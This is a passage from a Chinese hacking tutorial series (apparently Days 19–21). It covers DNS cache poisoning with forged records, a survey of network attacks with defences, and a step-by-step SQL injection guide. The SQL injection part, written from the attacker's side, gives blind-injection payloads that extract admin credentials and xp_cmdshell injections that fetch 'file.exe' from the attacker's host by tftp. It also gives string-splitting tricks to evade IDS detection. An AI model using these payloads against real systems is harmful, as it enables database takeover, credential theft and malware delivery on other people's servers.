QY: 2.74.222.38.in-addr.arpa PTR

请注意,38.222.74.2 是我们的客户端 IP,也就是说这台机子是完全掌握在我们手中的.我们可以更改它的 DNS 记录,让它返回我们所需要的结果:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN: trusted.host.com A 38.222.74.2

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

当 98.76.54.32 的 DNS 服务器收到这个应答后,会把结果转发给 123.45.67.98,就是那台有 rlogin 服务的 unix 主机(也是我们的目标 :)),并且 98.76.54.32 这台 DNS 服务器会把这次的查询结果缓存起来.

这时 unix 主机就认为 IP 地址为 38.222.74.2 的主机名为 trusted.host.com,然后 unix 主机查询本地的/etc/hosts.equiv 文件,看这台主机是否被允许使用 rlogin 服务,很显然,我们的欺骗达到了.

在 unix 的环境中,有另外一种技术来防止这种欺骗的发生,就是查询 PTR 记录后,也查询 PTR 返回的主机名的 A 记录,然后比较两个 IP 地址是否相同:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: trusted.host.com A

很不幸,在 98.76.54.32 的 DNS 服务器不会去查询这个记录,而会直接返回在查询 2.74.222.38.in-addr.arpa 时得到的并且存在缓存中的信息:

98.76.54.32 -> 123.45.67.89 [Query]

NQY: 1 NAN: 1 NNS: 2 NAD: 2

QY: trusted.host.com A

AN: trusted.host.com A 38.222.74.2

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

那么现在 unix 主机就认为 38.222.74.2 就是真正的 trusted.host.com 了,我们的目的达到了!

这种 IP 欺骗的条件是:你必须有一台 Internet 上的授权的 DNS 服务器,并且你能控制这台服务器,至少要能修改这台服务器的 DNS 记录,我们的欺骗才能进行.

2>.拒绝服务攻击 Denial of service

还是上面的例子,如果我们更改位于 38.222.74.2 的记录,然后对位于 98.76.54.32 的 DNS 服务器发出 2.74.222.38.in-addr.arpa 的查询,并使得查询结果如下:

因为 74.222.38.in-addr.arpa 完全由我们控制,所以我们能很方便的修改这些信息来实现我们的目的.

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN:www.company.com A 0.0.0.1

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

这样一来,使用 98.76.54.32 这台 DNS 服务器的用户就不能访问 www.company.com 了,因为这个 IP 根本就不存在!

3>.偷取服务 Theft of services

还是上面的例子,只是更改的查询结果如下:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 3 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN:www.company.com CNAMEwww.competitor.com

AN: company.com MX 0 mail.competitor.com

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

这样一来,一个本想访问 http://www.competitor.com 的用户会被带到另外一个地方,甚至是敌对的公司的竹叶(想想把华为和北电联起来是什么样的感觉. :)).并且发给 company.com 的邮件会被发送给 mail.compertitor.com.(越来越觉得在网络上的日子不踏实! xxbin 这样想).

4>.限制

对这些攻击,也有一定的限制.

首先,攻击者不能替换缓存中已经存在的记录.比如说,如果在 98.76.54.32 这个 DNS 服务器上已经有一条 www.company.com 的 CNAME 记录,那么攻击者试图替换为 www.competitor.com 将不会成功.然而,一些记录可以累加,比如 A 记录,如果在 DNS 的缓存中已经存在一条 www.company.com 的 A 记录为

1.2.3.4,而攻击者却欺骗 DNS 服务器说 www.company.com 的 A 记录为 4.3.2.1,那么 www.company.com 将会有两个 A 记录,客户端查询时会随机返回其中一个.(呵呵,这不是 loading balance 么?)

其次,DNS 服务器有个缓存刷新时间问题,如果 www.netbuddy.org 的 TTL 为 7200,那么 DNS 服务器仅仅会把 www.netbuddy.org 的信息缓存 7200 秒或者说两个小时.如果攻击者放入一条 TLL 为 604800 的 A 记录,那么这条记录将会在缓存中保存一周时间,过了默认的两天后,这个 DNS 服务器就会到处"分发"攻击者假造的记录.

下面是常用的几种可以累加和不能累加的记录:

A can add

NS can add

MX can add

PTR cannot add

CNAME cannot add

再说说网络攻击的几种形式吧,说这个不是叫大家去攻击别人而是作为一种了解而已

1、服务拒绝攻击

服务拒绝攻击企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务，服务拒绝攻击是最容易实施的攻击行为，主要包括：

死亡之 ping （ping of death）

概览：由于在早期的阶段，路由器对包的最大尺寸都有限制，许多操作系统对 TCP/IP 栈的实现在 ICMP 包上都是规定 64KB，并且在对包的标题头进行读取之后，要根据该标题头里包含的信息来为有效载荷生成缓冲区，当产生畸形的，声称自己的尺寸超过 ICMP 上限的包也就是加载的尺寸超过 64K 上限时，就会出现内存分配错误，导致 TCP/IP 堆栈崩溃，致使接受方当机。

防御：现在所有的标准 TCP/IP 实现都已实现对付超大尺寸的包，并且大多数防火墙能够自动过滤这些攻击，包括：从 windows98 之后的 windows,NT(service

pack 3 之后)，linux、Solaris、和 Mac OS 都具有抵抗一般 ping of

death 攻击的能力。此外，对防火墙进行配置，阻断 ICMP 以及任何未知协议，都讲防止此类攻击。

泪滴（teardrop）

概览：泪滴攻击利用那些在 TCP/IP 堆栈实现中信任 IP 碎片中的包的标题头所包含的信息来实现自己的攻击。IP 分段含有指示该分段所包含的是原包的哪一段的信息，某些 TCP/IP（包括 service

pack 4 以前的 NT）在收到含有重叠偏移的伪造分段时将崩溃。

防御：服务器应用最新的服务包，或者在设置防火墙时对分段进行重组，而不是转发它们。

UDP 洪水（UDP flood）

概览：各种各样的假冒攻击利用简单的 TCP/IP 服务，如 Chargen 和 Echo 来传送毫无用处的占满带宽的数据。通过伪造与某一主机的 Chargen 服务之间的一次的 UDP 连接，回复地址指向开着 Echo 服务的一台主机，这样就生成在两台主机之间的足够多的无用数据流，如果足够多的数据流就会导致带宽的服务攻击。

防御：关掉不必要的 TCP/IP 服务，或者对防火墙进行配置阻断来自 Internet 的请求这些服务的 UDP 请求。

SYN 洪水（SYN flood） 现在最流行的 DDOS 攻击的一种

概览：一些 TCP/IP 栈的实现只能等待从有限数量的计算机发来的 ACK 消息，因为他们只有有限的内存缓冲区用于创建连接，如果这一缓冲区充满了虚假连接的初始信息，该服务器就会对接下来的连接停止响应，直到缓冲区里的连接企图超时。在一些创建连接不受限制的实现里，SYN 洪水具有类似的影响。

防御：在防火墙上过滤来自同一主机的后续连接。

未来的 SYN 洪水令人担忧，由于释放洪水的并不寻求响应，所以无法从一个简单高容量的传输中鉴别出来。

Land 攻击

概览：在 Land 攻击中，一个特别打造的 SYN 包它的原地址和目标地址都被设置成某一个服务器地址，此举将导致接受服务器向它自己的地址发送 SYN-ACK 消息，结果这个地址又发回 ACK 消息并创建一个空连接，每一个这样的连接都将保留直到超时掉，对 Land 攻击反应不同，许多 UNIX 实现将崩溃，NT 变的极其缓慢（大约持续五分钟）。

防御：打最新的补丁，或者在防火墙进行配置，将那些在外部接口上入站的含有内部源地址滤掉。（包括

10 域、127 域、192.168 域、172.16 到 172.31 域）

Smurf 攻击

概览：一个简单的 smurf 攻击通过使用将回复地址设置成受害网络的广播地址的 ICMP 应答请求（ping）数据包来淹没受害主机的方式进行，最终导致该网络的所有主机都对此 ICMP 应答请求作出答复，导致网络阻塞，比 ping

of death 洪水的流量高出一或两个数量级。更加复杂的 Smurf 将源地址改为第三方的受害者，最终导致第三方雪崩。

防御：为了防止黑客利用你的网络攻击他人，关闭外部路由器或防火墙的广播地址特性。为防止被攻击，在防火墙上设置规则，丢弃掉 ICMP 包。

Fraggle 攻击

概览：Fraggle 攻击对 Smurf 攻击作了简单的修改，使用的是 UDP 应答消息而非 ICMP

防御：在防火墙上过滤掉 UDP 应答消息

电子邮件炸弹

概览：电子邮件炸弹是最古老的匿名攻击之一，通过设置一台机器不断的大量的向同一地址发送电子邮件，攻击者能够耗尽接受者网络的带宽。

防御：对邮件地址进行配置，自动删除来自同一主机的过量或重复的消息。

畸形消息攻击

概览：各类操作系统上的许多服务都存在此类问题，由于这些服务在处理信息之前没有进行适当正确的错误校验，在收到畸形的信息可能会崩溃。

防御：打最新的服务补丁。

2、利用型攻击

利用型攻击是一类试图直接对你的机器进行控制的攻击，最常见的有三种：

口令猜测

概览：一旦黑客识别了一台主机而且发现了基于 NetBIOS、Telnet 或 NFS 这样的服务的可利用的用户帐号，成功的口令猜测能提供对机器的控制。

防御：要选用难以猜测的口令，比如词和标点符号的组合。确保像 NFS、NetBIOS 和 Telnet 这样可利用的服务不暴露在公共范围。如果该服务支持锁定策略，就进行锁定。

特洛伊木马

概览：特洛伊木马是一种或是直接由一个黑客，或是通过一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限，安装此程序的人就可以直接远程控制目标系统。最有效的一种叫做后门程序，恶意程序包括：NetBus、BackOrifice 和 BO2k,用于控制系统的良性程序如：netcat、VNC、pcAnywhere。理想的后门程序透明运行。

防御：避免下载可疑程序并拒绝执行，运用网络扫描软件定期监视内部主机上的监听 TCP 服务。

缓冲区溢出

概览：由于在很多的服务程序中大意的程序员使用象 strcpy(),strcat()类似的不进行有效位检查的函数，最终可能导致恶意用户编写一小段利用程序来进一步打开安全豁口然后将该代码缀在缓冲区有效载荷末尾，这样当发生缓冲区溢出时，返回指针指向恶意代码，这样系统的控制权就会被夺取。

防御：利用 SafeLib、tripwire 这样的程序保护系统，或者浏览最新的安全公告不断更新操作系统。

3、信息收集型攻击

信息收集型攻击并不对目标本身造成危害，如名所示这类攻击被用来为进一步入侵提供有用的信息。主要包括：扫描技术、体系结构刺探、利用信息服务

扫描技术

地址扫描

概览：运用 ping 这样的程序探测目标地址，对此作出响应的表示其存在。

防御：在防火墙上过滤掉 ICMP 应答消息。

端口扫描

概览：通常使用一些软件，向大范围的主机连接一系列的 TCP 端口，扫描软件报告它成功的建立了连接的主机所开的端口。

防御：许多防火墙能检测到是否被扫描，并自动阻断扫描企图。

反响映射

概览：黑客向主机发送虚假消息，然后根据返回“host

unreachable”这一消息特征判断出哪些主机是存在的。目前由于正常的扫描活动容易被防火墙侦测到，黑客转而使用不会触发防火墙规则的常见消息类型，这些类型包括：RESET 消息、SYN-ACK 消息、DNS 响应包。

防御：NAT 和非路由代理服务器能够自动抵御此类攻击，也可以在防火墙上过滤“host unreachable”ICMP 应答。

慢速扫描

概览：由于一般扫描侦测器的实现是通过监视某个时间桢里一台特定主机发起的连接的数目（例如每秒 10 次）来决定是否在被扫描，这样黑客可以通过使用扫描速度慢一些的扫描软件进行扫描。

防御：通过引诱服务来对慢速扫描进行侦测。

体系结构探测

概览：黑客使用具有已知响应类型的数据库的自动工具，对来自目标主机的、对坏数据包传送所作出的响应进行检查。由于每种操作系统都有其独特的响应方法（例 NT 和 Solaris 的 TCP/IP 堆栈具体实现有所不同），通过将此独特的响应与数据库中的已知响应进行对比，黑客经常能够确定出目标主机所运行的操作系统。

防御：去掉或修改各种 Banner，包括操作系统和各种应用服务的，阻断用于识别的端口扰乱对方的攻击计划。

利用信息服务

DNS 域转换

概览：DNS 协议不对转换或信息性的更新进行身份认证，这使得该协议被人以一些不同的方式加以利用。如果你维护着一台公共的 DNS 服务器，黑客只需实施一次域转换操作就能得到你所有主机的名称以及内部 IP 地址。

防御：在防火墙处过滤掉域转换请求。

Finger 服务

概览：黑客使用 finger 命令来刺探一台 finger 服务器以获取关于该系统的用户的信息。

防御：关闭 finger 服务并记录尝试连接该服务的对方 IP 地址，或者在防火墙上进行过滤。

LDAP 服务

概览：黑客使用 LDAP 协议窥探网络内部的系统和它们的用户的信息。

防御：对于刺探内部网络的 LDAP 进行阻断并记录，如果在公共机器上提供 LDAP 服务，那么应把 LDAP 服务器放入 DMZ。

4、假消息攻击

用于攻击目标配置不正确的消息，主要包括：DNS 高速缓存污染、伪造电子邮件。

DNS 高速缓存污染

概览：由于 DNS 服务器与其他名称服务器交换信息的时候并不进行身份验证，这就使得黑客可以将不正确的信息掺进来并把用户引向黑客自己的主机。

防御：在防火墙上过滤入站的 DNS 更新，外部 DNS 服务器不应能更改你的内部服务器对内部机器的认识。

伪造电子邮件

概览：由于 SMTP 并不对邮件的发送者的身份进行鉴定，因此黑客可以对你的内部客户伪造电子邮件，声称是来自某个客户认识并相信的人，并附带上可安装的特洛伊木马程序，或者是一个引向恶意网站的连接。

防御：使用 PGP 等安全工具并安装电子邮件证书。

此外有篇文章,在这值得所有人看看:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=699

『第 19 天』SQL 注入攻击

在第 9 天到第 11 天我们介绍了 SQL 这个概念，后来因为大家反映没用（其实是很有用的，基础不好怎么晋级呢？）

今天我们就来好好说说利用 SQL 进行攻击

什么是 SQL 注入式攻击？

所谓 SQL 注入式攻击，就是攻击者把 SQL 命令插入到 Web 表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的 SQL 命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态 SQL 命令，或作为存储过程的输入参数，这类表单特别容易受到 SQL 注入式攻击。常见的 SQL 注入式攻击过程类如：

⑴ 某个 ASP.NET Web 应用有一个登录页面，这个登录页面控制着用户是否有权访问应用，它要求用户输入一个名称和密码。

⑵ 登录页面中输入的内容将直接用来构造动态的 SQL 命令，或者直接用作存储过程的参数。下面是 ASP.NET 应用构造查询的一个例子：

System.Text.StringBuilder query = new System.Text.StringBuilder(

"SELECT * from Users WHERE login = '")

.Append(txtLogin.Text).Append("' AND password='")

.Append(txtPassword.Text).Append("'");

⑶ 攻击者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。

⑷ 用户输入的内容提交给服务器之后，服务器运行上面的 ASP.NET 代码构造出查询用户的 SQL 命令，但由于攻击者输入的内容非常特殊，所以最后得到的 SQL 命令变成：SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。

⑸ 服务器执行查询或存储过程，将用户输入的身份信息和服务器中保存的身份信息进行对比。

⑹ 由于 SQL 命令实际上已被注入式攻击修改，已经不能真正验证用户身份，所以系统会错误地授权给攻击者。

如果用户的帐户具有管理员或其他比较高级的权限，攻击者就可能对数据库的表执行各种他想要做的操作，包括添加、删除或更新数据，甚至可能直接删除表。

（对于这里有些名词如果你不太了解，请你翻阅以前的教程）

今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入

在地址栏输入：

and 1=1

查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误，继续假设这个站的数据库存在一个 admin 表

在地址栏：

and 0<>(select count(*) from admin)

返回页正常,假设成立了。

下面来猜猜看一下管理员表里面有几个管理员 ID：

and 1<(select count(*) from admin)

页面什么都没有。管理员的数量等于或者小于 1 个

and 1=(select count(*) from admin)

输入=1 没显示错误，说明此站点只有一个管理员。

下面就是要继续猜测 admin 里面关于管理员用户名和密码的字段名称。

and 1=(select count(*) from admin where len(username)>0)

猜解错误!不存在 username 这个字段。只要一直改变括号里面的 username 这个字段,下面给大家几个常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu

用户名称字段猜解完成之后继续猜解密码字段

and 1=(select count(*) from admin where len(password)>0)

password 字段存在！因为密码字段一般都是这个拉,如果不是就试试 pass 如果还不是就自己想想吧

我们已经知道了管理员表里面有 3 个字段 id,user,password。

id 编号

user 用户名

password 密码

下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来

先猜出长度!

and 1=(select count(*) from admin where len(user)<10)

user 字段长度小于 10

and 1=(select count(*) from admin where len(user)<5)

user 字段长度不小于 5

慢慢的来,最后猜出长度等于 6,请看下面,返回正常就说明猜解正确

and 1=(select count(*) from admin where len(user)=6)

下面猜密码,

and 1=(select count(*) from admin where len(password)=10)

猜出来密码 10 位,不要奇怪,现在网管都有防备的,所以密码上 20 位也不太奇怪了

下面该做的就是把他们拆开来一个一个猜字母

and 1=(select count(*) from admin where left(user,1)=a)

返回正常，第一位字母等于 a,千万不要把大写和小写给搞错了哦~~呵呵,如果不 a 就继续猜其他的字符落,反正猜到返回正常就算 OK 了

开始猜解帐号的第二位字符。

and 1=(select count(*) from admin where left(user,2)=ad)

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

其实猜出了前几个字母你就自己可以想像了，用到社会工程学了哟~，比如猜到了 ad ，你就可以猜了

administrator,or ,admin,or ,adminstra.....这样猜的效率比较高哟!

工作还没有完,别忙着跑了,还有 10 位密码,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

经过无数次错误之后（首先大家得有个准备 SQL 注入有时候就是很烦的）

htttp://host/news/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)

结果密码是 administra

就这么简单，我只是举个很简单的例子，想大家应该会灵活应用，当然我还会讲多一些方法的

。今天就到这，因为这 2 天有点事，所以还请大家多多谅解

『第 20 天』继续说 sql injection

sql injection 也就是昨天说的 SQL 注入（也可以有其他的翻译，反正我喜欢用注入这个词）

昨天只举了个简单的例子，今天咱们来深入讨论这个吧

SQL injection 可以说是一种漏洞，也可以说成是一种攻击方法，程序中的变量处理不当，对用户提交的数据过滤不足，都可能产生这个漏洞，而攻击原理就是利用用户提交或可修改的数据，把想要的 SQL 语句插入到系统实际 SQL 语句中，轻则获得敏感的信息，重则控制服务器。SQL injection 并不紧紧局限在 Mssql 数据库中，Access、Mysql、Oracle、Sybase 都可以进行 SQL injection 攻击。 这个昨天有提到但不全面今天我特地再说一遍。

SQL injection 使得攻击者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子：

某 Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息，然后该表单被发送到 Web 服务器进行处理。接下来，服务器端的 ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器，并通过分析 SQL 服务器的返回结果来判断该用户名/密码组合是否有效。

为了实现这样的功能，Web 程序员可能会设计两个页面：一个 HTML 页面 (Login.htm) 用于登录，另一个 ASP 页面 (ExecLogin.asp) 用于验证用户权限(即向数据库查询用户名/密码组合是否存在)。具体代码可能象这样：

Login.htm (HTML 页面)

代码:<form action="ExecLogin.asp" method="post"> Username: <input type="text" name="txtUsername">

Password: <input type="password" name="txtPassword">

<input type="submit"> </form>

ExecLogin.asp (ASP 页面)

代码:<% Dim p_strUsername, p_strPassword, objRS, strSQL p_strUsername = Request.form("txtUsername") p_strPassword = Request.form("txtPassword") strSQL = "SELECT * FROM tblUsers " & _ "WHERE Username='" & p_strUsername & _ "' and Password='" & p_strPassword & "'" Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("Username") End If Set objRS = Nothing %>

乍一看，ExecLogin.asp 的代码似乎没有任何安全漏洞，因为用户如果不给出有效的用户名/密码组合就无法登录。然而，这段代码偏偏不安全，而且它正是 SQL 指令植入式攻击的理想目标。具体而言，设计者把用户的输入直接用于构建 SQL 指令，从而使攻击者能够自行决定即将被执行的 SQL 指令。例如：攻击者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是，提交给数据库的 SQL 指令就可能是：

代码:SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''

这样，SQL 服务器将返回 tblUsers 表格中的所有记录，而 ASP 脚本将会因此而误认为攻击者的输入符合 tblUsers 表格中的第一条记录，从而允许攻击者以该用户的名义登入网站。

SQL 指令植入式攻击还有另一种形式，它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子，此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值，然后根据 ID 值动态生成后继页面：

代码:<% Dim p_lngID, objRS, strSQL p_lngID = Request("ID") strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (Not objRS.EOF) Then Response.Write objRS("ArticleContent") Set objRS = Nothing %>

在一般情况下，此 ASP 脚本能够显示具有特定 ID 值的文章的内容，而 ID 值是由 URL 中的 querystring 参数指定的。例如：当 URL 为 http://www.example.com/Article.asp?ID=1055 时，ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。

如同前述登录页面的例子一样，此段代码也向 SQL 指令植入式攻击敞开了大门。有些用户（比如我们）可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说，把 URL 换成 http://www.example.com/Article.asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如：

代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1

于是，数据库将会返回所有文章的内容。

当然了，本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉，比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了！例如：任何人都可以通过 “http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。

但程序毕竟是各种各样的，有些可以通过修改 URL 数据来提交命令或语句，有些则不行，不能打 URL 的主意，怎么办呢？通过修改<input>标签内的 value 的值也可以提交我们构造的语句，SQL

injection 是很灵活的技术，但我们的目的只有一个，就是想方设法饶过程序或 IDS 的检测和处理提交我们构造的有效语句。

在大多数 ASP 站点中，我们并不知道其程序代码，*任何扫描器也不可能发现 SQL injection 漏洞，这时就要*手工检测了，由于我们执行 SQL 语句要用到单引号、分号、逗号、冒号和“--”，所以我们就在可修改的 URL 后加上以上符号，或在表单中的文本框加上这些符号，比如：

代码:

http://localhost/show.asp?id=1'

http://localhost/show.asp?id=1;

……

通过页面返回的信息，判断是否存在 SQL injection 漏洞，只是最简单的通过字符过滤来判断，根据 IIS 配置不同，返回的信息是不定的，有时显示

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/register/lostpass2.asp，行 15

有时可能会显示“HTTP 500 - 内部服务器错误”，也可能显示原来的页面，也就是页面正常显示，更可能提示“HTTP 404 – 找不到该页”，判断是否有漏洞就要有个最基本的根据——经验，这个就*大家自己去领悟了。

如果能拿到源代码就更好了，可以通过分析源代码来发现 ASP 文件的问题，不过这要求有较高的编程功底，最近 PsKey 就发现了不少程序存在 SQL injection 漏洞。最近越发的开始崇拜 PSkey 了

提交数据

我们判断出一个 ASP 程序存在 SQL injection 漏洞以后就要构造我们的语句来对服务器进行操作了，一般我们的目的是控制 SQL 服务器查阅信息甚至操作系统。所以我们要用到 xp_cmdshell 这个扩展存储过程，xp_cmdshell 是一个非常有用的扩展存储过程，用于执行系统命令，比如 dir，我们可以根据程序的不同，提交不同的语句，下例语句仅仅是个参考，告诉大家这个原理，实际情况视程序而定，照搬不一定成功，下同。

代码:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--

正如前面所说，提交这样的信息浏览器会返回出错信息或 500 错误，我们怎么才能知道执行是否成功呢？isno 的办法是用 nc 监听本机端口，然后提交 nslookup 命令来查询，我个人觉得有些麻烦，直接用 tftp 来有多种好处，能知道命令是否成功执行；能获得 SQL 服务器的 IP 从而判断 SQL 服务器的位置；还能节省一些步骤直接上传文件到 SQL 服务器。利用 xp_cmdshell 扩展存储过程执行 tftp 命令，在玩 unicode 漏洞的时候大家就炉火纯青了吧？列如：

代码:

http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--

有时提交的数据并不一定起作用，看你怎么绕过程序的检测了，如果幸运成功的话，可以看到 tftp 软件的窗口出现从本机下载文件的信息了。

对话框中的 IP 地址就是 SQL 服务器的 IP，可以根据这个 IP 判断 SQL 服务器处于什么位置，和 web 服务器一起，在局域网内，还是单独的服务器，就自己判断了，此知识点不在本文讨论范围内，就此略过。命令执行成功以后，就可以替换单引号中的内容，添加用户、提升权限做什么都随便大家了，不过要看看连接 SQL 服务器的这个角色是什么组的了。

饶过程序/IDS 检测

大多数时候，情况并非我们想象的那么顺利，明明字符过滤不完善，但程序或 IDS 检测到用户提交某个扩展存储过程或系统命令，就自动转换或拆分字符，让我们提交的数据分家或改变导致失效，怎么办呢？我记得我为了弄清如何饶过 IDS 检测，花了两节课的时间来思考，还写写画画浪费了半本笔记本，又因为看了 Pskey 的文章的提示，就产生一个思路：拆分命令字符串，赋值给变量，然后把变量组合起来提交，这样就不会分家了，下面给出两个例子：

代码:

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

有时候并不需要这样，只要把某些字符换 ASCII 代码，同样也可以成功执行，这个我还没有条件试，如果哪位高人有这方面的研究，请赐教。

最后，为了减轻 SQL njection 的危害，请限制 Web 应用程序所用的数据库访问帐号权限。一般来说，应用程序没有必要以 dbo 或者 sa 的身份访问数据库。记住，给它的权限越少，你的网站越安全！你还可以考虑分别给每个需要访问数据库的对象分配只拥有必需权限的帐号，以分散安全漏洞。例如：同是前端用户界面，当用于公共场所时就比用于具有本地内容管理机制的平台时更加需要严格限制数据库访问权限。

『第 21 天』深入 SQL 注入

前面我们说可以通过一些返回信息来判断ＳＱＬ注入，但首先不一定每台服务器的 IIS 都返回具体错误提示给客户端，如果程序中加了 cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的

那么，什么样的测试方法才是比较准确呢？答案如下：

① http://host/showdetail.asp?id=49

② http://host/showdetail.asp?id=49 ;;and 1=1

③ http://host/showdetail.asp?id=49 ;;and 1=2

这就是经典的 1=1、1=2 测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：

可以注入的表现：

① 正常显示（这是必然的，不然就是程序有错误了）

② 正常显示，内容基本与①相同

③ 提示 BOF 或 EOF（程序没做任何判断时）、或提示找不到记录（判断了 rs.eof 时）、或显示内容为空（程序加了 on error resume next）

不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。

当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，下面我们在来坐分析。

不过我们先来说一个问题：

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer，网上超过 99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢？来看看：

SQLServer 有一些系统变量，如果服务器 IIS 提示没关闭，并且 SQLServer 返回错误提示的话，那可以直接从出错信息获取，方法如下：

http://host/showdetail.asp?id=49 ;;and user>0

这句语句很简单，但却包含了 SQLServer 特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在 and user>0，我们知道，user 是 SQLServer 的一个内置变量，它的值是当前连接的用户名，类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较，系统会先试图将 nvarchar 的值转成 int 型，当然，转的过程中肯定会出错，SQLServer 的出错提示是：将 nvarchar 值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc 正是变量 user 的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。

顺便说几句，众所周知，SQLServer 的用户 sa 是个等同 Adminstrators 权限的角色，拿到了 sa 权限，几乎肯定可以拿到主机的 Administrator 了。上面的方法可以很方便的测试出是否是用 sa 登录，要注意的是：如果是 sa 登录，提示是将”dbo”转换成 int 的列发生错误，而不是”sa”。

如果服务器 IIS 不允许返回错误提示，那怎么判断数据库类型呢？我们可以从 Access 和 SQLServer 和区别入手，Access 和 SQLServer 都有自己的系统表，比如存放数据库中所有对象的表，Access 是在系统表[msysobjects]中，但在 Web 环境下读该表会提示“没有权限”，SQLServer 是在表[sysobjects]中，在 Web 环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

http://host/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)>0

http://host/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)>0

如果数据库是 SQLServer，那么第一个网址的页面与原页面 http://host/showdetail.asp?id=49 是大致相同的；而第二个网址，由于找不到表 msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是 Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启 IIS 错误提示时的验证。

们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：

第一节、ＳＱＬ注入的一般步骤

首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。

